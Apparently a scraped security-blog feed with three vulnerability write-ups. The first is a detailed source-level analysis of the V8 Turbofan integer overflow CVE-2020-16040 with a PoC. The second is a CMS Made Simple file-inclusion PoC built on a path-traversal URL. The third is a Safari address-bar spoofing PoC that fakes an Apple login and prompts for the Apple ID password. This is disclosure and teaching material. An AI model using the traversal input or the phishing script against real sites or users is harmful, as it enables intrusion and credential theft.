V8 is the JavaScript engine in the Chromium kernel, responsible for interpreting, optimizing, and executing JavaScript code. CVE-2020-16040 (crbug.com]]> Wester Chromium V8 Thu, 08 Aug 2024 11:00:41 GMT Vulnerability Overview

V8 is the JavaScript engine in the Chromium kernel, responsible for interpreting, optimizing, and executing JavaScript code. CVE-2020-16040 (crbug.com/1150649) is an integer overflow vulnerability generated by the V8 optimization compiler Turbofan in the SimplifiedLowering phase.

Vulnerability Analysis

1) What is Turbofan?

The following is the workflow of the V8 engine:

Parser: Responsible for analyzing the syntax errors of the source code, converting it into an AST abstract syntax tree, and determining the lexical scope by using the tokens obtained through lexical analysis of the source code:

Ignition (Interpreter): Responsible for converting AST into intermediate code, namely bytecode, and interpreting and executing the bytecode line by line. At this stage, the JavaScript code has already begun to execute.

Consider the following code bytecode.js:

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let ziwu_add = (x,y) => {
 return x + y;
 }
 ziwu_add(1,2)

Use the command ./d8 bytecode.js --allow-natives-syntax --print-bytecode --print-bytecode-filter ziwu_add to get its bytecode:

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[generated bytecode for function: ziwu_add (0x1984082d26e1 <SharedFunctionInfo ziwu_add>)]
 Parameter count 3
 Register count 0
 Frame size 0
 0x1984082d2826 @ 0 : 25 04 Ldar a1
 0x1984082d2828 @ 2 : 35 03 00 Add a0, [0]
 0x1984082d282b @ 5 : ab Return
 Constant pool (size = 0)
 Handler Table (size = 0)
 Source Position Table (size = 0)

Add a0, [0]That is, the bytecode, which tells V8 that we want to perform an addition operation.

TurboFan (optimizing compiler)：Responsible for taking bytecode and some analysis data as input and generating optimized machine code. When Ignition converts JavaScript code into bytecode, the code starts to execute. V8 will keep observing the execution of JavaScript code and record execution information, such as the number of executions of each function, the type of parameters passed each time the function is called, etc. If the number of times a function is called exceeds the internal threshold, the monitor will mark the current function as a hot function and send the bytecode of the function and related information about the execution to TurboFan. TurboFan will make some assumptions to further optimize this code based on the execution information, and compile the bytecode into optimized machine code based on the assumptions. If the assumption is true, then the next time the function is called, the optimized compiled machine code will be executed to improve the execution performance of the code. When the information passed in during a call changes, it means that TurboFan’s assumption is wrong. At this time, the machine code generated by the optimized compilation can no longer be used, so the optimization is rolled back and the original complex function logic is re-run.

The optimization logic process is as follows, considering the following code:

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let ziwu_add = (x,y) => {
 return x + y;
 }
 ziwu_add(1,2);
 ziwu_add('hack','you');
 ziwu_add([],{})

V8 needs to determine the types of x and y before performing each calculation, and then perform the corresponding processing, but what if the function needs to be executed many times?

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let ziwu_add = (x,y) => {
 return x + y;
 }
 for (var i=0;i<0x10000;i++){
 ziwu_add(1+i,2)
 }

The x parameter keeps changing. If we have to judge the type every time, it will be too cumbersome and inefficient. Turbofan found that after so many loop calculations, the x and y parameters are both int types. We have reason to believe that it will be the same next time. So we can assume that the types of the x and y parameters are int. Based on this assumption, we can optimize the ziwu_add function to simple addition:

add eax ebx;

2) Vulnerability Recurrence

First look at the vulnerability patch: https://chromium.googlesource.com/v8/v8.git/+/ba1b2cc09ab98b51ca3828d29d19ae3b0a7c3a92, the vulnerability file is located atsrc/compiler/simplified-lowering.cc, that is, the vulnerability may occur in the SimplifiedLowering stage of the Turbofan optimization process;

We switch the V8 version to its parent commit, which is the most recent V8 code branch version where the vulnerability exists. The operation method is not described here:

Execute the PoC code ./d8 –allow-natives-syntax poc.js:

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function foo(a) {
 var y = 0x7fffffff; // 2^31 - 1
 // Widen the static type of y (this condition never holds).
 if (a == NaN) y = NaN;
 // The next condition holds only in the warmup run. It leads to Smi
 // (SignedSmall) feedback being collected for the addition below.
 if (a) y = -1;
 const z = (y + 1)|0;
 return z<0;
 }
 console.log(foo(false));
 for (i=0;i<0x10000;i++){
 foo('test')
 }
 console.log(foo(false));

The result we get is:

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True
False

The two execution results of the foo(false) function are different, indicating that there is a problem in the calculation of the value of z in the Turbofan optimization process.

3) Principle analysis

Principle brief description:This vulnerability is actually caused by the inconsistency between the maximum value range (restriction_type) calculated when optimizing the SpeculativeSafeIntegerAdd node in the VisitSpeculativeIntegerAdditiveOp function and its own Type, which results in an incorrect type transfer during the subsequent SpeculativeNumberLessThan node optimization process, causing SpeculativeNumberLessThan to be incorrectly optimized to Uint32LessThan. As a result, incorrect constant folding occurs in the EarlyOptimization phase, resulting in inconsistency with the calculation before optimization.

Detailed analysis:

1. Analysis of the reason why the foo(false) function is executed as True before optimization:

​ 1) y = 0x7fffffff, which is the maximum 32-bit integer, z = (0x7fffffff +1) | 0

​ 2) Since the bitwise AND operation treats its operands as 32-bit sequences (consisting of 0s and 1s), (0x7fffffff + 1) = -2147483648

​ 3) z = -2147483648|0, z must be less than 0, and the result of executing the foo function is true

2. Calculation error occurred during Turbofan optimization:

​ We first use a for loop to force trigger Turbofan’s optimization:

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for (i=0;i<0x10000;i++){
 foo('test')
}

The Turbofan optimization process will first enter the SimplifiedLowering stage, which determines the input type, output type, maximum value range, etc. of each node in the Bytecode Graph Tree through forward and reverse traversal. It is divided into three sub-stages: Propagate, Retype, and Lower[1].

​ Let’s first look at how SimplifiedLowering optimizes our foo function in this example:

​ 1)Propagate stage: We can use ./d8 --allow-natives-syntax poc.js --trace-representation to view the Propagate process of the entire PoC script:

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--{Propagate phase}--
 visit #48: End (trunc: no-value-use)
 initial #47: no-value-use
 visit #47: Return (trunc: no-value-use)
 initial #44: truncate-to-word32
 initial #55: no-truncation (but distinguish zeros)
 initial #45: no-value-use
 initial #36: no-value-use
 visit #55: NumberLessThan (trunc: no-truncation (but distinguish zeros))
 initial #45: truncate-to-word32
 initial #44: truncate-to-word32
 visit #45: SpeculativeNumberBitwiseOr (trunc: truncate-to-word32)
 initial #43: truncate-to-word32
 initial #44: truncate-to-word32
 initial #43: truncate-to-word32
 initial #36: no-value-use
 visit #43: SpeculativeSafeIntegerAdd (trunc: truncate-to-word32)
 initial #39: no-truncation (but identify zeros)
 initial #42: no-truncation (but identify zeros)
 initial #22: no-value-use
 initial #36: no-value-use
 ...

This stage is a reverse analysis, from the End node to the Start node, determining the required type based on the Type of the input node, and associating the use information (UseInfo) with the relevant node. And marking the output type of the node as the maximum range restriction_type of the output.

During the optimization of the foo function, the kSpeculativeNumberBitwiseOr#45 node is accessed first, as shown in the following figure:

According to the code logic of src/compiler/simplified-lowering.cc, the VisitSpeculativeInt32Binop function is called. Since the two input nodes #43/#44 of node #45 are both of Number type, the BothInputsAre(node, Type::NumberOrOddball()) condition is met, and then turbofan marks #43/#44 as UseInfo::TruncatingWord32():

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case IrOpcode::kSpeculativeNumberBitwiseOr:
 case IrOpcode::kSpeculativeNumberBitwiseXor:
 case IrOpcode::kSpeculativeNumberBitwiseAnd:
 VisitSpeculativeInt32Binop<T>(node);

void VisitSpeculativeInt32Binop(Node* node) {
 DCHECK_EQ(2, node->op()->ValueInputCount());
 if (BothInputsAre(node, Type::NumberOrOddball())) {
 return VisitBinop<T>(node, UseInfo::TruncatingWord32(), <===here
 MachineRepresentation::kWord32);
 }

Then continue to visit the SpeculativeSafeIntegerAdd#43 node. Since we expanded the type of the input y of this node in the PoC if (a == NaN) y = NaN;that is, the #39 node has the NaN type, we can observe this phenomenon through the –trace-representation option:

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\#39:Phi[kRepTagged](#32:Phi, #38:NumberConstant, #36:Merge) [Static type: (NaN | Range(-1, 2147483647))]
 visit #39: Phi
 ==> output kRepFloat64

Therefore, the if condition in the src/compiler/simplified-lowering.cc::VisitSpeculativeIntegerAdditiveOp function is not met, and the maximum value range of restrict_type is set to Signed32(), that is, -2147483648 ~2147483647

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void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation,
 SimplifiedLowering* lowering) {
 ...
 if (left_upper.Is(left_constraint_type) &&
 right_upper.Is(Type::Signed32OrMinusZero()) &&
 (left_upper.Is(Type::Signed32()) || right_upper.Is(Type::Signed32()))) {
 VisitBinop<T>(node, UseInfo::TruncatingWord32(),
 MachineRepresentation::kWord32, Type::Signed32());
 } else {
 ...
 VisitBinop<T>(node, left_use, right_use, MachineRepresentation::kWord32, <===here
 Type::Signed32());
 }

But we can observe that the Type of SpeculativeSafeIntegerAdd#43 node is 0 ~ 2147483648

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\#43:SpeculativeSafeIntegerAdd[SignedSmall](#39:Phi, #42:NumberConstant, #22:SpeculativeNumberEqual, #36:Merge) [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)]
 visit #43: SpeculativeSafeIntegerAdd
 ==> output kRepWord32

2)Retype stage: Similarly, we can continue to use –trace-representation to view the Retype process:

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--{Retype phase}--
 visit #5: HeapConstant
 ==> output kRepTaggedPointer
 visit #0: Start
 ==> output kRepTagged
 visit #7: OsrValue
 ==> output kRepTagged
 visit #20: StateValues
 ==> output kRepTagged
 visit #21: StateValues
 ==> output kRepTagged
 visit #22: HeapConstant
 ==> output kRepTaggedPointer

It can be seen that this stage is a forward analysis, from the End node to the Start node, it is sequentially put into the stack, and then starting from the top of the stack, it visits and determines the output type according to the Type and restriction_type of the input node, and uses UpdateFeedbackType to update the type of each node, and calculates the output representation of each node input.

Turbofan first visits the SpeculativeSafeIntegerAdd#43 node and enters the src/compiler/simplified-lowering.cc::UpdateFeedbackType function logic. The opcode of this node is IrOpcode::kSpeculativeSafeIntegerAdd:

According to src/compiler/opcodes.h

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\#define SIMPLIFIED_SPECULATIVE_NUMBER_BINOP_LIST(V) \
 V(SpeculativeNumberAdd) \
 V(SpeculativeNumberSubtract) \
 V(SpeculativeNumberMultiply) \
 V(SpeculativeNumberDivide) \
 V(SpeculativeNumberModulus) \
 V(SpeculativeNumberBitwiseAnd) \
 V(SpeculativeNumberBitwiseOr) \
 V(SpeculativeNumberBitwiseXor) \
 V(SpeculativeNumberShiftLeft) \
 V(SpeculativeNumberShiftRight) \
 V(SpeculativeNumberShiftRightLogical) \
 V(SpeculativeSafeIntegerAdd) \
 V(SpeculativeSafeIntegerSubtract)

Then, the logic at the following mark is entered, and the types of the two input nodes #39 and #42 of the #43 node are calculated by SpeculativeSafeIntegerAdd, and then the intersection operation (Intersect) is performed with the restriction_type of the node itself.

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bool UpdateFeedbackType(Node* node) {
 ...
 switch (node->opcode()) {
 \#define DECLARE_CASE(Name) \
 case IrOpcode::k##Name: { \
 new_type = op_typer_.Name(input0_type, input1_type); \
 break; \
 }
 SIMPLIFIED_NUMBER_BINOP_LIST(DECLARE_CASE)
 DECLARE_CASE(SameValue)
 \#undef DECLARE_CASE

 \#define DECLARE_CASE(Name) \
 case IrOpcode::k##Name: { \
 new_type = Type::Intersect(op_typer_.Name(input0_type, input1_type), \ <===here
 info->restriction_type(), graph_zone()); \
 break; \
 }
 SIMPLIFIED_SPECULATIVE_NUMBER_BINOP_LIST(DECLARE_CASE)
 SIMPLIFIED_SPECULATIVE_BIGINT_BINOP_LIST(DECLARE_CASE)
 \#undef DECLARE_CASE

Enter src/compiler/operation-typer.cc::OperationTyper::SpeculativeSafeIntegerAdd function:

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Type OperationTyper::SpeculativeSafeIntegerAdd(Type lhs, Type rhs) {
 Type result = SpeculativeNumberAdd(lhs, rhs);
 return Type::Intersect(result, cache_->kSafeIntegerOrMinusZero, zone());
 }

Enter src/compiler/operation-typer.cc::OperationTyper::Speculative##Name logic:

\#define SPECULATIVE_NUMBER_BINOP(Name) \
 Type OperationTyper::Speculative##Name(Type lhs, Type rhs) { \
 lhs = SpeculativeToNumber(lhs); \
 rhs = SpeculativeToNumber(rhs); \
 return Name(lhs, rhs); \
 }

lhs = SpeculativeToNumber(lhs); => y parameter -1 ~ 0x7fffffff

rhs = SpeculativeToNumber(rhs); => i.e. 1

NumberAdd(lhs,rhs); => 0 ~ 0x7fffffff+1

Intersection operation: Intersect(0 ~ 0x7fffffff+1,restriction_type) =>Intersect(0 ~ 0x7fffffff+1,Signed32) => 0 ~ 0x7fffffff

That is, the value range of node #43 is 0 ~ 0x7fffffff, which is Unsigned32

Then visit the SpeculativeNumberBitwiseOr#45 node. According to the type of input nodes #43/#44, the result is still 0 ~ 0x7fffffff, that is, the value range of z in PoC is considered to be 0 ~ 0x7fffffff

3)Lower stage: Similarly, we can continue to use –trace-representation to view the Lower process

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--{Lower phase}--
 visit #5: HeapConstant
 visit #0: Start
 visit #7: OsrValue
 visit #20: StateValues
 visit #21: StateValues
 visit #22: HeapConstant
 visit #6: OsrValue
 visit #23: Parameter
 visit #58: FrameState
 visit #70: HeapConstant
 visit #24: FrameState
 visit #146: Checkpoint
 visit #139: LoadField
 change: #139:LoadField(@0 #70:HeapConstant) from kRepTaggedPointer to kRepTagged:no-truncation (but distinguish zeros)

We can see that this stage mainly does two things:

• Optimize the node itself into a more specific node through DeferReplacement
• Use the ConvertInput conversion node when the output representation (obtained by the Retype stage) of a node input does not match the expected use information (UseInfo) of its input.

Turbofan accesses the SpeculativeNumberLessThan#46 node and enters the following logic in src/compiler/simplified-lowering.cc:

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case IrOpcode::kNumberLessThan:
 case IrOpcode::kNumberLessThanOrEqual: {
 Type const lhs_type = TypeOf(node->InputAt(0));
 Type const rhs_type = TypeOf(node->InputAt(1));
 // Regular number comparisons in JavaScript identify generally zeros,
 // so we always pass kIdentifyZeros for the inputs, and in addition
 // we can truncate -0 to 0 for otherwise Unsigned32 or Signed32 inputs.
 if (lhs_type.Is(Type::Unsigned32OrMinusZero()) &&
 rhs_type.Is(Type::Unsigned32OrMinusZero())) {
 // => unsigned Int32Cmp
 VisitBinop<T>(node, UseInfo::TruncatingWord32(),
 MachineRepresentation::kBit);
 if (lower<T>()) NodeProperties::ChangeOp(node, Uint32Op(node));
 } else if (lhs_type.Is(Type::Signed32OrMinusZero()) &&
 rhs_type.Is(Type::Signed32OrMinusZero())) {
 // => signed Int32Cmp
 VisitBinop<T>(node, UseInfo::TruncatingWord32(),
 MachineRepresentation::kBit);
 ...

Since the left input node #45 (z in the PoC code) and the right input node number 0 are both Unsigned32OrMinusZero, if the condition is met, Uint32Op(node) is called

Refer to src/compiler/simplified-lowering.cc::Uint32Op

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const Operator* Uint32Op(Node* node) {
 return changer_->Uint32OperatorFor(node->opcode());
 }

Enter the Uint32OperatorFor logic, the source code is located in src/compiler/representation-change.cc

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const Operator* RepresentationChanger::Uint32OperatorFor(
 IrOpcode::Value opcode) {
 switch (opcode) {
 case IrOpcode::kNumberAdd:
 return machine()->Int32Add();
 case IrOpcode::kNumberSubtract:
 return machine()->Int32Sub();
 case IrOpcode::kSpeculativeNumberMultiply:
 case IrOpcode::kNumberMultiply:
 return machine()->Int32Mul();
 case IrOpcode::kSpeculativeNumberDivide:
 case IrOpcode::kNumberDivide:
 return machine()->Uint32Div();
 case IrOpcode::kSpeculativeNumberModulus:
 case IrOpcode::kNumberModulus:
 return machine()->Uint32Mod();
 case IrOpcode::kNumberEqual:
 case IrOpcode::kSpeculativeNumberEqual:
 return machine()->Word32Equal();
 case IrOpcode::kNumberLessThan:
 case IrOpcode::kSpeculativeNumberLessThan: <===here
 return machine()->Uint32LessThan();
 case IrOpcode::kNumberLessThanOrEqual:
 case IrOpcode::kSpeculativeNumberLessThanOrEqual:
 return machine()->Uint32LessThanOrEqual();
 case IrOpcode::kNumberClz32:
 return machine()->Word32Clz();
 case IrOpcode::kNumberImul:
 return machine()->Int32Mul();
 default:
 UNREACHABLE();
 }
 }

Therefore node #46 is converted to Uint32LessThan

4)Vulnerability trigger: EarlyOptimization stage

Enter the code src/compiler/machine-operator-reducer.cc logic

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case IrOpcode::kUint32LessThan: {
 Uint32BinopMatcher m(node);
 if (m.left().Is(kMaxUInt32)) return ReplaceBool(false); // M < x => false
 if (m.right().Is(0)) return ReplaceBool(false); // x < 0 => false

Since the right input node of node #46 (i.e. z<0 in PoC) is 0, the m.right().Is(0) condition is satisfied, and the result of the expression is judged to be false.

Analysis of the reason why the foo(false) function is executed as False after optimization:

Combined with the analysis in the second step, after turbofan optimization, the expression z<0 is incorrectly judged as false, so the foo(false) function returns false.

Vulnerability Summary

This vulnerability is a typical logic vulnerability caused by the turbofan optimization process. It is relatively easy to debug and is suitable for V8 beginners. Understanding it through the source code will have a good effect. V8 has many similar vulnerabilities in recent years, such as crbug.com/880207. If you are interested, you can go to debug and learn.

If there are any inappropriate parts in the text, please correct me. We welcome your comments.

Reference Links

[1]Modern attacks on the Chrome browser: optimizations and deoptimizations: https://buaq.net/go-45470.html

[2] Vulnerability fix code: https://chromium.googlesource.com/v8/v8.git/+/ba1b2cc09ab98b51ca3828d29d19ae3b0a7c3a92

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs]]> Wester cmsmadesimple Mon, 22 May 2017 11:00:41 GMT Description:

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.

Proof of concept

cmsmadesimple <=2.1.6
The vulnerability exists in /cmsms/admin/listtags.php Line 82 and line 54

If there is a file named “1.phpinfo.php” existed in http://127.0.0.1/1.phpinfo.php
So when we visit the following link:

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http://127.0.0.1/cmsms/admin/listtags.php?_sk_=08852e62af02bc03&action=showpluginhelp&plugin=phpinfo&type=../../1

You would find out you has include this file successfully!‌

• cmsmadesimple <=2.2.1

Current version is still vulnerable.

Disclosure Timelines

• 2017/2/7 Provide vulnerability(2.1.6) detail to vendor but no reply
• 2017/6/16 cmsmadesimple update to 2.2.1 and no reply at all
• 2017/6/28 Public disclosure

Safari <10.1.1 on macOS

Description

When we input an URL including a]]> Wester Apple safari Sat, 25 Feb 2017 11:00:41 GMT Affected Products

Safari <10.1.1 on macOS

Description

When we input an URL including a special port or visit a domain which exists in DNS record but cannot access anymore (such as “http://www.apple.com:1234" or “http://access.apple.com"), Safari will try its best to load this address, so address bar spoofing could occur during the loading time!

Proof of concept

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<script>
function spoof(){

document.write("<title>Apple login</title><h1>Trust me!This is apple.com!</h1>");

window.location.assign("http://www.apple.com:1234");
//or you can use the following script:
//window.location.assign("http://access.apple.com");

}
setInterval(spoof(),2000);
setTimeout(function(){
    prompt('Checking your appid password:');
},6000);
</script>

Disclosure Timelines

2017/2/7 Provide vulnerability detail to APPLE via product-security@apple.com
2017/4/26 Apple fix it in Safari 10.1.1
2017/5/12 CVE-2017-2500 assigned.

Credit

This vulnerability was discovered by Zhiyang Zeng and Yuyang Zhou of Tencent Security Platform Department.